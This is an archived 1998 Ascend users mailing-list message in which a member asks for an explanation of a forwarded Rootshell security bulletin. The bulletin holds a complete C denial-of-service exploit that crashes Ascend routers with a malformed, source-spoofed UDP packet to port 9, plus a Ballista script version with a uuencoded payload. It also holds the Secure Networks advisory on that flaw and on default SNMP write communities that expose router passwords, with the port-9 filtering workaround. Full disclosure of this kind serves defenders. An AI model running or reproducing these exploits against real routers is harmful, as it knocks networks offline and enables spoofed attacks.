Ascend Archive
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: (ASCEND) [rootshell] Security Bulletin #16 (fwd)
Hi all
Although I am not really new on the list, sometimes I am really puzzled
about the info. Can anybody explain what this is and if it is necessary
to do something with it?
regards
rob.
Kit Knox wrote:
>
> This should be of interest to everyone on this list.
>
> ---------------------------------------------------------------------
>
> www.rootshell.com
> Security Bulletin #16
> March 16th, 1998
>
> [ http://www.rootshell.com/ ]
>
> Contents
> --------
>
> 01. Ascend Kill II - C version
> 02. Ascend Kill II - Ballista "cape" version
> 03. SNI-26: Ascend Router Security Issues
>
> 01. Ascend Kill II - C version
> ------------------------------
>
> /*
> * Ascend Kill II - C version
> *
> * (C) 1998 Rootshell - http://www.rootshell.com/ <info@rootshell.com>
> *
> * Distribute freely.
> *
> * Released: 3/16/98
> *
> * Thanks to Secure Networks. See SNI-26: Ascend Router Security Issues
> * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
> *
> * Sends a specially constructed UDP packet on the discard port (9)
> * which cause Ascend routers to reboot. (Warning! Ascend routers will
> * process these if they are broadcast packets.)
> *
> * Compiled under RedHat 5.0 with glibc.
> *
> * NOTE: This program is NOT to be used for malicous purposes. This is
> * intenteded for educational purposes only. By using this program
> * you agree to use this for lawfull purposes ONLY.
> *
> * It is worth mentioning that Ascend has known about this bug for quite
> * some time.
> *
> * Fix:
> *
> * Filter inbound UDP on port 9.
> *
> */
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <netinet/in_systm.h>
> #include <netinet/ip.h>
> #include <linux/udp.h>
> #include <netdb.h>
>
> #define err(x) { fprintf(stderr, x); exit(1); }
> #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
>
> /* This magic packet was taken from the Java Configurator */
> char ascend_data[] =
> {
> 0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
> 0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
> 0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
> 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
> 0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
> 0x50, 0x41, 0x53, 0x53};
>
> unsigned short
> in_cksum (addr, len)
> u_short *addr;
> int len;
> {
> register int nleft = len;
> register u_short *w = addr;
> register int sum = 0;
> u_short answer = 0;
>
> while (nleft > 1)
> {
> sum += *w++;
> nleft -= 2;
> }
> if (nleft == 1)
> {
> *(u_char *) (&answer) = *(u_char *) w;
> sum += answer;
> }
>
> sum = (sum >> 16) + (sum & 0xffff);
> sum += (sum >> 16);
> answer = ~sum;
> return (answer);
> }
>
> int
> sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
> struct sockaddr_in *sin;
> unsigned short int s, datalen, sport, dport;
> unsigned long int saddr, daddr;
> char *data;
> {
> struct iphdr ip;
> struct udphdr udp;
> static char packet[8192];
> char crashme[500];
> int i;
>
> ip.ihl = 5;
> ip.version = 4;
> ip.tos = rand () % 100;;
> ip.tot_len = htons (28 + datalen);
> ip.id = htons (31337 + (rand () % 100));
> ip.frag_off = 0;
> ip.ttl = 255;
> ip.protocol = IPPROTO_UDP;
> ip.check = 0;
> ip.saddr = saddr;
> ip.daddr = daddr;
> ip.check = in_cksum ((char *) &ip, sizeof (ip));
> udp.source = htons (sport);
> udp.dest = htons (dport);
> udp.len = htons (8 + datalen);
> udp.check = (short) 0;
> memcpy (packet, (char *) &ip, sizeof (ip));
> memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
> memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
> /* Append random garbage to the packet, without this the router
> will think this is a valid probe packet and reply. */
> for (i = 0; i < 500; i++)
> crashme[i] = rand () % 255;
> memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
> return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
> (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
> }
>
> unsigned int
> lookup (host)
> char *host;
> {
> unsigned int addr;
> struct hostent *he;
>
> addr = inet_addr (host);
> if (addr == -1)
> {
> he = gethostbyname (host);
> if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
> return 0;
>
> bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
> }
> return (addr);
> }
>
> void
> main (argc, argv)
> int argc;
> char **argv;
> {
> unsigned int saddr, daddr;
> struct sockaddr_in sin;
> int s, i;
>
> if (argc != 3)
> errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);
>
> if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
> err ("Unable to open raw socket.\n");
> if (!(saddr = lookup (argv[1])))
> err ("Unable to lookup source address.\n");
> if (!(daddr = lookup (argv[2])))
> err ("Unable to lookup destination address.\n");
> sin.sin_family = AF_INET;
> sin.sin_port = 9;
> sin.sin_addr.s_addr = daddr;
> if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
> {
> perror ("sendpkt_udp");
> err ("Error sending the UDP packet.\n");
> }
> }
>
> 02. Ascend Kill II - Ballista "cape" version
> --------------------------------------------
>
> Secure Networks makes security auditing software called Ballista. It has
> its own scripting language called cape. Here is a version of Ascend Kill II
> written in cape. Check out how small it is!
>
> -- cut here --
>
> iface=le0
> # Enter your default gateway
> gateway=10.0.0.1
> ip
> # Source IP of packet
> ip_src=1.2.3.4
> # Address of Ascend router
> ip_dst=10.0.0.2
> ip_version=4
> ip_proto=IPPROTO_UDP
> ip_flags=0
> ip_done
> udp
> udp_sport=9
> udp_dport=9
> udp_done
> data_file=ascend_data
> end_of_packet
>
> -- cut here --
>
> Here is the data that cape needs. It is uuencoded.
>
> begin 644 ascend_data.uue
> M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
> M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
>
> end
>
> 03. SNI-26: Ascend Router Security Issues
> -----------------------------------------
>
> -----BEGIN PGP SIGNED MESSAGE-----
>
> ###### ## ## ######
> ## ### ## ##
> ###### ## # ## ##
> ## ## ### ##
> ###### . ## ## . ######.
>
> Secure Networks Inc.
>
> Security Advisory
> March 16, 1998
>
> Security Issues with Ascend Routing Hardware
>
> - -----------------------------------------------------------------------------
>
> SYNOPSIS
>
> Ascend Communications provides several popular routing and access-server
> solution, including the Pipeline access router and the MAX access server.
> Due to problems in the Ascend operating system that runs on these
> platforms, it is possible to deny service to networks that depend on them.
> Additionally, knowledge of the SNMP "write" community (which defaults to
> "write") enables an attacker to download the entire configuration file of
> the router, which contains access passwords and other sensitive
> information.
>
> - -----------------------------------------------------------------------------
>
> DESCRIPTION of DENIAL OF SERVICE PROBLEM
>
> Ascend provides a configuration tool for their equipment which enables
> operators to reconfigure routers via a graphical interface. This tool is
> called the "Ascend Java Configurator". The Ascend Configurator is capable
> of locating Ascend routers on a network, using a special probe protocol.
>
> In order to locate Ascend routers, the Configurator broadcasts a specially
> formatted UDP packet to the "discard" port (port 9). Ascend routers listen
> for these packets and respond with another UDP packet that contains the
> symbolic name of the router. In this manner, the Configurator can build
> a list of all Ascend routers on the local network.
>
> By sending a specially formatted malformed probe packet to the discard
> port of an Ascend router, an attacker can cause an Ascend router to lock
> up. Attackers can easily discover Ascend routers to crash by sending probe
> packets to the discard port of arbitrary ranges of addresses; only Ascend
> routers will respond to them.
>
> - -----------------------------------------------------------------------------
>
> DESCRIPTION of SNMP SECURITY ISSUE
>
> Ascend routers are manageable by the SNMP protocol. Ascend's SNMP support
> includes the ability to read and write MIB variables. Ascend's SNMP system
> is protected by the SNMP community definitions, which act as passwords for
> SNMP access. By default, the SNMP "read" password is "public", and the
> SNMP "write" password is "write". An attacker that can guess the SNMP
> "read" community can read arbitrary MIB variables, and an attacker that
> can guess the "write" community can set arbitrary MIB variables to new
> values.
>
> Ascend provides a vendor-specific extension MIB. This MIB includes
> variables specific to Ascend equipment. Among these variables is a group
> of settings called "sysConfigTftp", which allow the configuration of the
> router to be manipulated via the TFTP protocol. By writing to these
> variables with SNMP "set" messages, an attacker can download the entire
> configuration of the Ascend router.
>
> The full configuration of an Ascend router includes the telnet password
> (knowledge of which allows an attacker to gain telnet access to the Ascend
> menu interface), all the enhanced access passwords (allowing an attacker
> to reconfigure the router from the menu interface), network protocol
> authentication keys (including RADIUS and OSPF keys), usernames and
> passwords for incoming connections, and usernames, passwords, and dial-up
> phone numbers for outgoing connections. All of this information is in
> plaintext.
>
> An attacker with full access to an Ascend router can also use it to
> "sniff" the networks it is attached to. Ascend routers have an extensive
> (and largely undocumented) debugging interface; functions are included in
> this interface to obtain hexadecimal dumps of raw Ethernet, ISDN, DS1, and
> modem traffic.
>
> - -----------------------------------------------------------------------------
>
> VULNERABLE SYSTEMS
>
> These issues are known to be relevant to Ascend Pipeline and MAX
> networking equipment. These vulnerabilities have been confirmed in
> Ascend's operating system at version 5.0Ap42 (MAX) and 5.0A (Pipeline).
>
> Ascend's 6.0 operating system disables SNMP "write" access by default.
> Previous versions of the software enable SNMP "write" access with a
> default community of "write".
>
> - -----------------------------------------------------------------------------
>
> RESOLUTION
>
> The denial-of-service issue detailed in this advisory is due to an
> implementation flaw in Ascend's software. While no immediate fix is
> available, it is possible to work around this problem by filtering out
> packets to the UDP discard port (9).
>
> Because SNMP "write" access on an Ascend router is equivalent to complete
> administrative access, it is very important that the community chosen is
> hard to guess. Deployed Ascend equipment should be checked to ensure that
> default (or easily guessed) communities are not in use.
>
> The SNMP configuration of an Ascend router is available through the
> menuing system, as "Ethernet...Mod Config...SNMP Options...".
>
> - -----------------------------------------------------------------------------
>
> ADDITIONAL INFORMATION
>
> These issues were identified originally by Jennifer Myers and
> Thomas H. Ptacek at Secure Networks, Inc. SNI thanks Kit Knox
> of CONNECTnet INS, Inc. for his assistance with this work.
>
> Information about Ascend Communications is available at their website
> at http://www.ascend.com. Products mentioned in this advisory are
> trademarks of Ascend.
>
> - -----------------------------------------------------------------------------
>
> ABOUT SECURE NETWORKS, INC.
>
> Secure Networks, Inc. (SNI) is a security research and development company
> based in Calgary, Alberta, Canada. SNI is the largest independent source
> of full-disclosure security advisories and new vulnerability information
> in the world. For more information about this or other advisories, contact
> us at <sni@secnet.com>. A PGP key is provided if privacy is required.
>
> For the full text of this and all of SNI's other advisories, see our web
> page at "http://www.secnet.com/advisories/". General information about SNI
> is available at "http://www.secnet.com".
>
> - -----------------------------------------------------------------------------
>
> COPYRIGHT INFORMATION
>
> he contents of this advisory are Copyright (C) 1998 Secure Networks
> Inc, and may be distributed freely provided that no fee is charged for
> distribution, and that proper credit is given.
>
> - -----------------------------------------------------------------------------
>
> Type Bits/KeyID Date User ID
> pub 1024/9E55000D 1997/01/13 Secure Networks Inc. <sni@secnet.com>
> Secure Networks <security@secnet.com>
>
> - - -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.3ia
>
> mQCNAzLaFzIAAAEEAKsVzPR7Y6oFN5VPE/Rp6Sm82oE0y6Mkuof8QzERV6taihn5
> uySb31UeNJ4l6Ud9alOPT/0YdeOO9on6eD1iU8qumFxzO3TLm8nTAdZehQSAQfoa
> rWmpwj7KpXN/3n+VyBWvhpBdKxe08SQN4ZjvV5HXy4YIrE5bTbgIhFKeVQANAAUR
> tCVTZWN1cmUgTmV0d29ya3MgSW5jLiA8c25pQHNlY25ldC5jb20+iQCVAwUQM1yd
> EB/bLKAOe7p9AQFptAQAiYpaZCpSmGgr05E698Z3t5r5BPAKUEtgvF53AvZUQLxz
> ZsYsVU5l5De0qKWJOQ/9LiDyWu1lvKhlTphbLy2RatWD4kO3oQL9v3TpSXm2WQhU
> uIzyZvj7S5ENodNnKn+gCDIvbou6OMot+7dRbWWgN2oabbru4CSlOxbG++yaTz+J
> AJUDBRAzTefbtOXez5VgyLkBAd0bA/43eGEgvPOFK+HHWCPpkSWCwtrtDU/dxOVz
> 9erHnT/CRxeojCI+50f71Qe+kvx9Q1odz2Jl/fLxhnPQdbPnpWblIbu4F8H+Syrj
> HTilDrl1DWa/nUNgK8sb27SMviELczP1a8gwA1eo5SUCG5TWLLTAzjWOgTxod2Ha
> OwseUHmqVIkAlQMFEDNOVsr/d6Iw8NVIbQEBxM0D/14XRfgSLwszgJcVbslMHm/B
> fF6tHoWYojzQle3opOuMYHNN8GsMZRkc1qQ8QuNA9Aj5+qDqEontGjV5IvhBu1fY
> FM77AhagskaFCZxwqV64Qrk328WDO89NGSd+RuovVNruDdn20TxNCEVuPTHjI0UA
> 8H+E6FW9jexg6RTHhPXYtCVTZWN1cmUgTmV0d29ya3MgPHNlY3VyaXR5QHNlY25l
> dC5jb20+iQCVAwUQMtqTKB/bLKAOe7p9AQFw5wQAgUwqJ+ZqfEy/lO1srU3nzxLA
> X0uHGHrMptRy/LFo8swD6G1TtWExUc3Yv/6g2/YK09b5WmplEJ+Q09maQIw+RU/s
> cIY+EsPauqIq4JTGh/Nm0Z4UDl2Y1x4GNtm0YqezxUPS0P0A3LHVLJ3Uo5og0G8O
> gPNrfbVz5ieT14OSCWCJAJUDBRAy2hd2/3eiMPDVSG0BAVNhBACfupfAcNhhnQaq
> aI03DOOiZSRjvql1xw4V+pPhM+IksdSK3YNUZVJJtANacgDhBT+jAPRaYbBWI3A5
> ZMdcSNM8aTG0LWMLIOiOYEm6Lgd3idRBFN0Js08eyITl8mhZ33mDe4I0KQri9UiV
> ZcPYTbb9CWM6Hv2cMbt6S6kLnFziqIkAlQMFEDLaF0+4CIRSnlUADQEBCLoEAJwt
> UofDgvyZ4nCDx1KKAPkkXBRaPMWBp46xeTVcxaYiloZfwHfpk1h2mEJAxmAsvizl
> OtIppHl4isUxcGi/E2mLCLMvis22/IQP/9obPahPvgNaMLVtZljO1Nv3QFEkNciL
> FEUTNJHR1ko7ibCxkBs4cOpirFuvTMDvWnNaXAf8
> =DchE
> - - -----END PGP PUBLIC KEY BLOCK-----
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBNQ2HmbgIhFKeVQANAQHmEwP/fL4rcOIoHEkHkqE/W7FBYoU8OnJBdtjw
> lL2X4Gp7EJAMOQV9uSrFHhhNUTYM7FYH6NS7hR+/fz5+sd1GN/bd8jOQHnvWn0Rw
> 7u2y0xhd1hcMc169ASew9fsiNP38VXCeYoxCSpCu4Wd42PT8avZIbGmPR9BgnhgP
> dzLlygd7Hhs=
> =+Y/d
> -----END PGP SIGNATURE-----
>
> ----------------------------------------------------------------------
>
> To unsubscribe from this mailing list send e-mail to majordomo@rootshell.com
> with "unsubscribe announce" in the BODY of the message.
>
> Send submissions to info@rootshell.com. Messages sent will not be sent to
> other members on this list unless it is featured in a security bulletin.
>
> An archive of this list is available at :
> http://www.rootshell.com/mailinglist-archive
>
> ----------------------------------------------------------------------
>
> ++ Ascend Users Mailing List ++
> To unsubscribe: send unsubscribe to ascend-users-request@bungi.com
> To get FAQ'd: <http://www.nealis.net/ascend/faq>
++ Ascend Users Mailing List ++
To unsubscribe: send unsubscribe to ascend-users-request@bungi.com
To get FAQ'd: <http://www.nealis.net/ascend/faq>
References: